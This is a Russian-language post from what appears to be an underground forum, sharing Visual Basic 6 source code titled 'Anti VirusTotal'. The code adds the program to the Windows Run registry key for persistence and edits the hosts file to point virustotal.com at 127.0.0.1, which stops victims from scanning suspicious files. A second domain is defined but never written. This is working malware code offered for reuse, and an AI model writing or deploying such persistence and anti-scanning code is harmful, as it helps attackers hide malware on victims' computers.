1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

VB6 Анти Вирустотал

Тема в разделе "Исходные коды", создана пользователем DarkKnight, 2 сен 2016.

  1. TopicStarter Overlay
    DarkKnight

    DarkKnight

    Регистрация:
    1 июн 2016
    Сообщения:
    127
    Симпатии:
    149
    Код:
    Private Sub Form_Load()
    Dim Startup_key As String
    
    Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    
    Dim Reg As Object
    
    Set Reg = CreateObject("wscript.shell")
    
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
    
    Dim dizin As String
    Dim yerayır As String
    Dim site As String
    Dim site2 As String
    dizin = Environ("windir") & "\system32\drivers\etc\hosts"
    Open dizin For Binary As 1
    yerayır = Space(FileLen(dizin))
    Get 1, , yerayır
    Close 1
    site = vbNewLine & "127.0.0.1 www.virustotal.com "
    site2 = vbNewLine & "127.0.0.1 www.jooti.com "
    Open dizin For Binary As 1
    Put 1, , yerayır & site
    Close 1
    End Sub
     
    • Like Like x 1
    Метки:

Поделиться этой страницей

Загрузка...